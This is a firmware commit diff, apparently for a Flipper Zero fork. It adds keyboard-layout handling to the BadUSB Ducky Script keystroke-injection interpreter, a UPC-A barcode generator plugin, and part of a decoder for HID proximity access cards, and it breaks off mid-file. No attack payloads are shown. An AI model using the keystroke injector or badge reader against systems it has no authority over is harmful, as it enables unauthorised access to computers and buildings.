plugins & badusb

if author want their plugin to be removed - create issue, thanks
This commit is contained in:
MX 2022-07-29 17:48:51 +03:00
parent ee00ba5269
commit f4cc9e5de7
No known key found for this signature in database
GPG key ID: 6C4C311DFD4B4AB5
63 changed files with 5187 additions and 30 deletions

View file

@ -114,6 +114,8 @@ static const char ducky_cmd_altchar[] = {"ALTCHAR "};
static const char ducky_cmd_altstr_1[] = {"ALTSTRING "};
static const char ducky_cmd_altstr_2[] = {"ALTCODE "};
static const char ducky_cmd_layout[] = {"DUCKY_LANG"};
static const uint8_t numpad_keys[10] = {
HID_KEYPAD_0,
HID_KEYPAD_1,
@ -203,10 +205,10 @@ static bool ducky_altstring(const char* param) {
return state;
}
static bool ducky_string(const char* param) {
static bool ducky_string(const char* param, const uint16_t layout) {
uint32_t i = 0;
while(param[i] != '\0') {
uint16_t keycode = HID_ASCII_TO_KEY(param[i]);
uint16_t keycode = HID_ASCII_TO_KEY(layout, param[i]);
if(keycode != HID_KEYBOARD_NONE) {
furi_hal_hid_kb_press(keycode);
furi_hal_hid_kb_release(keycode);
@ -216,7 +218,7 @@ static bool ducky_string(const char* param) {
return true;
}
static uint16_t ducky_get_keycode(const char* param, bool accept_chars) {
static uint16_t ducky_get_keycode(const char* param, bool accept_chars, const uint16_t layout) {
for(uint8_t i = 0; i < (sizeof(ducky_keys) / sizeof(ducky_keys[0])); i++) {
uint8_t key_cmd_len = strlen(ducky_keys[i].name);
if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) &&
@ -225,12 +227,12 @@ static uint16_t ducky_get_keycode(const char* param, bool accept_chars) {
}
}
if((accept_chars) && (strlen(param) > 0)) {
return (HID_ASCII_TO_KEY(param[0]) & 0xFF);
return (HID_ASCII_TO_KEY(layout, param[0]) & 0xFF);
}
return 0;
}
static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line, const uint16_t layout) {
uint32_t line_len = string_size(line);
const char* line_tmp = string_get_cstr(line);
bool state = false;
@ -252,6 +254,9 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
} else if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) {
// ID - executed in ducky_script_preload
return (0);
} else if(strncmp(line_tmp, ducky_cmd_layout, strlen(ducky_cmd_layout)) == 0) {
// DUCKY_LANG - executed in ducky_script_preload
return (0);
} else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) {
// DELAY
line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1];
@ -271,7 +276,7 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
} else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) {
// STRING
line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1];
state = ducky_string(line_tmp);
state = ducky_string(line_tmp, layout);
return (state) ? (0) : SCRIPT_STATE_ERROR;
} else if(strncmp(line_tmp, ducky_cmd_altchar, strlen(ducky_cmd_altchar)) == 0) {
// ALTCHAR
@ -294,12 +299,12 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
return (state) ? (0) : SCRIPT_STATE_ERROR;
} else {
// Special keys + modifiers
uint16_t key = ducky_get_keycode(line_tmp, false);
uint16_t key = ducky_get_keycode(line_tmp, false, layout);
if(key == HID_KEYBOARD_NONE) return SCRIPT_STATE_ERROR;
if((key & 0xFF00) != 0) {
// It's a modifier key
line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1];
key |= ducky_get_keycode(line_tmp, true);
key |= ducky_get_keycode(line_tmp, true, layout);
}
furi_hal_hid_kb_press(key);
furi_hal_hid_kb_release(key);
@ -308,6 +313,19 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
return SCRIPT_STATE_ERROR;
}
static uint16_t ducky_get_layout(const char* line) {
uint16_t layout = 0;
if(strcmp(line, "US") == 0) {
layout = 0;
} else if(strcmp(line, "DE") == 0) {
layout = 1;
} else if(strcmp(line, "FR") == 0) {
layout = 2;
}
FURI_LOG_D(WORKER_TAG, "keyboard layout set: %hu", layout);
return layout;
}
static bool ducky_set_usb_id(BadUsbScript* bad_usb, const char* line) {
if(sscanf(line, "%lX:%lX", &bad_usb->hid_cfg.vid, &bad_usb->hid_cfg.pid) == 2) {
bad_usb->hid_cfg.manuf[0] = '\0';
@ -333,10 +351,12 @@ static bool ducky_set_usb_id(BadUsbScript* bad_usb, const char* line) {
return false;
}
static bool ducky_script_preload(BadUsbScript* bad_usb, File* script_file) {
static uint16_t ducky_script_preload(BadUsbScript* bad_usb, File* script_file) {
uint8_t ret = 0;
uint32_t line_len = 0;
uint16_t layout = 0;
string_reset(bad_usb->line);
do {
@ -361,9 +381,17 @@ static bool ducky_script_preload(BadUsbScript* bad_usb, File* script_file) {
} while(ret > 0);
const char* line_tmp = string_get_cstr(bad_usb->line);
bool id_set = false; // Looking for ID command at first line
bool id_set = false; // Looking for ID or DUCKY_LANG command at first line
if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) {
id_set = ducky_set_usb_id(bad_usb, &line_tmp[strlen(ducky_cmd_id) + 1]);
} else if(strncmp(line_tmp, ducky_cmd_layout, strlen(ducky_cmd_layout)) == 0) {
layout = ducky_get_layout(&line_tmp[strlen(ducky_cmd_layout) + 1]);
}
// Looking for DUCKY_LANG command at second line
const char* line2_tmp = string_get_cstr(bad_usb->line);
if(strncmp(line2_tmp, ducky_cmd_layout, strlen(ducky_cmd_layout)) == 0) {
layout = ducky_get_layout(&line2_tmp[strlen(ducky_cmd_layout) + 1]);
}
if(id_set) {
@ -375,15 +403,16 @@ static bool ducky_script_preload(BadUsbScript* bad_usb, File* script_file) {
storage_file_seek(script_file, 0, true);
string_reset(bad_usb->line);
return true;
return layout;
}
static int32_t ducky_script_execute_next(BadUsbScript* bad_usb, File* script_file) {
static int32_t
ducky_script_execute_next(BadUsbScript* bad_usb, File* script_file, const uint16_t layout) {
int32_t delay_val = 0;
if(bad_usb->repeat_cnt > 0) {
bad_usb->repeat_cnt--;
delay_val = ducky_parse_line(bad_usb, bad_usb->line_prev);
delay_val = ducky_parse_line(bad_usb, bad_usb->line_prev, layout);
if(delay_val == SCRIPT_STATE_NEXT_LINE) { // Empty line
return 0;
} else if(delay_val < 0) { // Script error
@ -417,7 +446,7 @@ static int32_t ducky_script_execute_next(BadUsbScript* bad_usb, File* script_fil
bad_usb->st.line_cur++;
bad_usb->buf_len = bad_usb->buf_len + bad_usb->buf_start - (i + 1);
bad_usb->buf_start = i + 1;
delay_val = ducky_parse_line(bad_usb, bad_usb->line);
delay_val = ducky_parse_line(bad_usb, bad_usb->line, layout);
if(delay_val < 0) {
bad_usb->st.error_line = bad_usb->st.line_cur;
FURI_LOG_E(WORKER_TAG, "Unknown command at line %lu", bad_usb->st.line_cur);
@ -452,6 +481,8 @@ static int32_t bad_usb_worker(void* context) {
BadUsbWorkerState worker_state = BadUsbStateInit;
int32_t delay_val = 0;
uint16_t layout = 0;
FuriHalUsbInterface* usb_mode_prev = furi_hal_usb_get_config();
FURI_LOG_I(WORKER_TAG, "Init");
@ -468,7 +499,8 @@ static int32_t bad_usb_worker(void* context) {
string_get_cstr(bad_usb->file_path),
FSAM_READ,
FSOM_OPEN_EXISTING)) {
if((ducky_script_preload(bad_usb, script_file)) && (bad_usb->st.line_nb > 0)) {
layout = ducky_script_preload(bad_usb, script_file);
if(bad_usb->st.line_nb > 0) {
if(furi_hal_hid_is_connected()) {
worker_state = BadUsbStateIdle; // Ready to run
} else {
@ -540,7 +572,7 @@ static int32_t bad_usb_worker(void* context) {
continue;
}
bad_usb->st.state = BadUsbStateRunning;
delay_val = ducky_script_execute_next(bad_usb, script_file);
delay_val = ducky_script_execute_next(bad_usb, script_file, layout);
if(delay_val == SCRIPT_STATE_ERROR) { // Script error
delay_val = 0;
worker_state = BadUsbStateScriptError;

View file

@ -0,0 +1,13 @@
App(
appid="barcode_generator",
name="UPC-A Generator",
apptype=FlipperAppType.PLUGIN,
entry_point="barcode_UPCA_generator_app",
cdefines=["APP_BARCODE_GEN"],
requires=[
"gui",
"dialogs",
],
stack_size=1 * 1024,
order=50,
)

View file

@ -0,0 +1,544 @@
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#define BARCODE_STARTING_POS 16
#define BARCODE_HEIGHT 50
#define BARCODE_Y_START 3
#define BARCODE_TEXT_OFFSET 9
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
int barcodeNumeral[12]; //The current barcode number
int editingIndex; //The index of the editing symbol
int menuIndex; //The index of the menu cursor
int modeIndex; //Set to 0 for view, 1 for edit, 2 for menu
bool doParityCalculation; //Should do parity check?
} PluginState;
void number_0(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #0 on left is OOOIIOI
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "0");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
}
void number_1(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #1 on left is OOIIOOI
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "1");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
}
void number_2(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #2 on left is OOIOOII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "2");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
}
void number_3(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #3 on left is OIIIIOI
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "3");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 4, BARCODE_HEIGHT); //IIII
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
}
void number_4(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #4 on left is OIOOOII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "4");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
}
void number_5(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #5 on left is OIIOOOI
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "5");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
}
void number_6(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #6 on left is OIOIIII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "6");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 4, BARCODE_HEIGHT); //IIII
}
void number_7(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #7 on left is OIIIOII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "7");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 3, BARCODE_HEIGHT); //III
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
}
void number_8(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #8 on left is OIIOIII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "8");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 3, BARCODE_HEIGHT); //III
}
void number_9(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #9 on left is OOOIOII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "9");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
}
static void render_callback(Canvas* const canvas, void* ctx) {
PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
if(plugin_state == NULL) {
return;
}
//I originally had all of these values being generated at runtime by math, but that kept giving me trouble.
int editingMarkerPosition[12] = {
19,
26,
33,
40,
47,
54,
66,
73,
80,
87,
94,
101,
};
int menuTextLocations[6] = {
20,
30,
40,
50,
60,
70,
};
if(plugin_state->modeIndex == 2) { //if in the menu
canvas_set_color(canvas, ColorBlack);
canvas_draw_str_aligned(canvas, 64, 6, AlignCenter, AlignCenter, "MENU");
canvas_draw_frame(canvas, 50, 0, 29, 11); //box around Menu
canvas_draw_str_aligned(
canvas, 64, menuTextLocations[0], AlignCenter, AlignCenter, "View");
canvas_draw_str_aligned(
canvas, 64, menuTextLocations[1], AlignCenter, AlignCenter, "Edit");
canvas_draw_str_aligned(
canvas, 64, menuTextLocations[2], AlignCenter, AlignCenter, "Parity?");
canvas_draw_frame(canvas, 81, menuTextLocations[2] - 2, 6, 6);
if(plugin_state->doParityCalculation == true) {
canvas_draw_box(canvas, 83, menuTextLocations[2], 2, 2);
}
canvas_draw_str_aligned(
canvas, 64, menuTextLocations[3], AlignCenter, AlignCenter, "TODO");
canvas_draw_disc(
canvas, 40, menuTextLocations[plugin_state->menuIndex], 2); //draw menu cursor
}
if(plugin_state->modeIndex != 2) { //if not in the menu
canvas_set_color(canvas, ColorBlack);
//canvas_draw_glyph(canvas, 115, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, 'M');
canvas_draw_box(canvas, BARCODE_STARTING_POS, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 1, 1, 1, 50); //left blank on purpose
canvas_draw_box(
canvas,
(BARCODE_STARTING_POS + 2),
BARCODE_Y_START,
1,
BARCODE_HEIGHT + 2); //start saftey
for(int index = 0; index < 12; index++) {
bool isOnRight = false;
if(index >= 6) {
isOnRight = true;
}
if((index == 11) && (plugin_state->doParityCalculation)) { //calculate the check digit
int checkDigit =
plugin_state->barcodeNumeral[0] + plugin_state->barcodeNumeral[2] +
plugin_state->barcodeNumeral[4] + plugin_state->barcodeNumeral[6] +
plugin_state->barcodeNumeral[8] + plugin_state->barcodeNumeral[10];
//add all odd positions Confusing because 0index
checkDigit = checkDigit * 3; //times 3
checkDigit += plugin_state->barcodeNumeral[1] + plugin_state->barcodeNumeral[3] +
plugin_state->barcodeNumeral[5] + plugin_state->barcodeNumeral[7] +
plugin_state->barcodeNumeral[9];
//add all even positions to above. Confusing because 0index
checkDigit = checkDigit % 10; //mod 10
//if m - 0 then x12 = 0, otherwise x12 is 10 - m
if(checkDigit == 0) {
plugin_state->barcodeNumeral[11] = 0;
} else {
checkDigit = 10 - checkDigit;
plugin_state->barcodeNumeral[11] = checkDigit;
}
}
switch(plugin_state->barcodeNumeral[index]) {
case 0:
number_0(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 1:
number_1(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 2:
number_2(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 3:
number_3(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 4:
number_4(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 5:
number_5(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 6:
number_6(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 7:
number_7(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 8:
number_8(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 9:
number_9(canvas, isOnRight, editingMarkerPosition[index]);
break;
}
}
canvas_set_color(canvas, ColorBlack);
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 45, BARCODE_Y_START, 1, BARCODE_HEIGHT);
canvas_draw_box(canvas, BARCODE_STARTING_POS + 46, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 47, BARCODE_Y_START, 1, BARCODE_HEIGHT);
canvas_draw_box(canvas, BARCODE_STARTING_POS + 48, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 49, BARCODE_Y_START, 1, BARCODE_HEIGHT);
if(plugin_state->modeIndex == 1) {
canvas_set_color(canvas, ColorBlack);
canvas_draw_box(
canvas,
editingMarkerPosition[plugin_state->editingIndex],
63,
7,
1); //draw editing cursor
}
canvas_set_color(canvas, ColorBlack);
canvas_draw_box(canvas, BARCODE_STARTING_POS + 92, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
//canvas_draw_box(canvas, 14, 1, 1, 50); //left blank on purpose
canvas_draw_box(
canvas,
(BARCODE_STARTING_POS + 2) + 92,
BARCODE_Y_START,
1,
BARCODE_HEIGHT + 2); //end safety
}
release_mutex((ValueMutex*)ctx, plugin_state);
}
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void barcode_UPCA_generator_state_init(PluginState* const plugin_state) {
int i;
for(i = 0; i < 12; ++i) {
if(i > 9) {
plugin_state->barcodeNumeral[i] = i - 10;
} else if(i < 10) {
plugin_state->barcodeNumeral[i] = i;
}
}
plugin_state->editingIndex = 0;
plugin_state->modeIndex = 0;
plugin_state->doParityCalculation = true;
plugin_state->menuIndex = 0;
}
int32_t barcode_UPCA_generator_app(void* p) {
UNUSED(p);
//testing
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
PluginState* plugin_state = malloc(sizeof(PluginState));
barcode_UPCA_generator_state_init(plugin_state);
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
FURI_LOG_E("barcode_UPCA_generator", "cannot create mutex\r\n");
free(plugin_state);
return 255;
}
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
view_port_input_callback_set(view_port, input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
PluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
int barcodeMaxIndex;
if(plugin_state->doParityCalculation == true) {
barcodeMaxIndex = 11;
}
if(plugin_state->doParityCalculation == false) {
barcodeMaxIndex = 12;
}
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if((event.input.type == InputTypePress) || (event.input.type == InputTypeRepeat)) {
switch(event.input.key) {
case InputKeyUp:
if(plugin_state->modeIndex == 1) { //if edit mode
plugin_state->barcodeNumeral[plugin_state->editingIndex]++;
}
if(plugin_state->barcodeNumeral[plugin_state->editingIndex] > 9) {
plugin_state->barcodeNumeral[plugin_state->editingIndex] = 0;
}
if(plugin_state->modeIndex == 2) { //if menu mode
plugin_state->menuIndex--;
}
if(plugin_state->menuIndex < 0) {
plugin_state->menuIndex = 3;
}
break;
case InputKeyDown:
if(plugin_state->modeIndex == 1) {
plugin_state->barcodeNumeral[plugin_state->editingIndex]--;
}
if(plugin_state->barcodeNumeral[plugin_state->editingIndex] < 0) {
plugin_state->barcodeNumeral[plugin_state->editingIndex] = 9;
}
if(plugin_state->modeIndex == 2) { //if menu mode
plugin_state->menuIndex++;
}
if(plugin_state->menuIndex > 3) {
plugin_state->menuIndex = 0;
}
break;
case InputKeyRight:
if(plugin_state->modeIndex == 1) {
plugin_state->editingIndex++;
}
if(plugin_state->editingIndex >= barcodeMaxIndex) {
plugin_state->editingIndex = 0;
}
break;
case InputKeyLeft:
if(plugin_state->modeIndex == 1) {
plugin_state->editingIndex--;
}
if(plugin_state->editingIndex < 0) {
plugin_state->editingIndex = barcodeMaxIndex - 1;
}
break;
case InputKeyOk:
if((plugin_state->modeIndex == 0) ||
(plugin_state->modeIndex == 1)) { //if normal or edit more, open menu
plugin_state->modeIndex = 2;
break;
} else if(
(plugin_state->modeIndex == 2) &&
(plugin_state->menuIndex ==
1)) { //if hits select in menu, while index is 1. edit mode
plugin_state->modeIndex = 1;
break;
} else if(
(plugin_state->modeIndex == 2) &&
(plugin_state->menuIndex ==
0)) { //if hits select in menu, while index is 0. view mode
plugin_state->modeIndex = 0;
break;
} else if(
(plugin_state->modeIndex == 2) &&
(plugin_state->menuIndex ==
2)) { //if hits select in menu, while index is 2. Parity switch
plugin_state->doParityCalculation =
!plugin_state->doParityCalculation; //invert bool
break;
} else {
break;
}
case InputKeyBack:
if(plugin_state->modeIndex == 0) {
processing = false;
}
if(plugin_state->modeIndex == 2) {
plugin_state->modeIndex = 0;
}
break;
}
}
}
} else {
FURI_LOG_D("barcode_UPCA_generator", "osMessageQueue: event timeout");
// event timeout
}
view_port_update(view_port);
release_mutex(&state_mutex, plugin_state);
}
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
view_port_free(view_port);
furi_message_queue_free(event_queue);
return 0;
}

View file

@ -0,0 +1,9 @@
App(
appid="hid_analyzer",
name="HID Analyzer",
apptype=FlipperAppType.PLUGIN,
entry_point="hid_analyzer_app",
cdefines=["APP_HID_ANALYZER"],
stack_size=2 * 1024,
order=40,
)

View file

@ -0,0 +1,98 @@
#include "decoder_hid.h"
#include <furi_hal.h>
constexpr uint32_t clocks_in_us = 64;
constexpr uint32_t jitter_time_us = 20;
constexpr uint32_t min_time_us = 64;
constexpr uint32_t max_time_us = 80;
constexpr uint32_t min_time = (min_time_us - jitter_time_us) * clocks_in_us;
constexpr uint32_t mid_time = ((max_time_us - min_time_us) / 2 + min_time_us) * clocks_in_us;
constexpr uint32_t max_time = (max_time_us + jitter_time_us) * clocks_in_us;
bool DecoderHID::read(uint8_t* data, uint8_t data_size) {
bool result = false;
furi_assert(data_size >= 3);
if(ready) {
result = true;
hid.decode(
reinterpret_cast<const uint8_t*>(&stored_data), sizeof(uint32_t) * 3, data, data_size);
ready = false;
}
return result;
}
void DecoderHID::process_front(bool polarity, uint32_t time) {
if(ready) return;
if(polarity == true) {
last_pulse_time = time;
} else {
last_pulse_time += time;
if(last_pulse_time > min_time && last_pulse_time < max_time) {
bool pulse;
if(last_pulse_time < mid_time) {
// 6 pulses
pulse = false;
} else {
// 5 pulses
pulse = true;
}
if(last_pulse == pulse) {
pulse_count++;
if(pulse) {
if(pulse_count > 4) {
pulse_count = 0;
store_data(1);
}
} else {
if(pulse_count > 5) {
pulse_count = 0;
store_data(0);
}
}
} else {
if(last_pulse) {
if(pulse_count > 2) {
store_data(1);
}
} else {
if(pulse_count > 3) {
store_data(0);
}
}
pulse_count = 0;
last_pulse = pulse;
}
}
}
}
DecoderHID::DecoderHID() {
reset_state();
}
void DecoderHID::store_data(bool data) {
stored_data[0] = (stored_data[0] << 1) | ((stored_data[1] >> 31) & 1);
stored_data[1] = (stored_data[1] << 1) | ((stored_data[2] >> 31) & 1);
stored_data[2] = (stored_data[2] << 1) | data;
if(hid.can_be_decoded(reinterpret_cast<const uint8_t*>(&stored_data), sizeof(uint32_t) * 3)) {
ready = true;
}
}
void DecoderHID::reset_state() {
last_pulse = false;
pulse_count = 0;
ready = false;
last_pulse_time = 0;
}

View file

@ -0,0 +1,24 @@
#pragma once
#include <stdint.h>
#include <atomic>
#include "protocols/protocol_hid.h"
class DecoderHID {
public:
bool read(uint8_t* data, uint8_t data_size);
void process_front(bool polarity, uint32_t time);
DecoderHID();
private:
uint32_t last_pulse_time = 0;
bool last_pulse;
uint8_t pulse_count;
uint32_t stored_data[3] = {0, 0, 0};
void store_data(bool data);
std::atomic<bool> ready;
void reset_state();
ProtocolHID hid;
};

View file

@ -0,0 +1,143 @@
#include "hid_reader.h"
#include <furi.h>
#include <furi_hal.h>
#include <stm32wbxx_ll_cortex.h>
/**
* @brief private violation assistant for HIDReader
*/
struct HIDReaderAccessor {
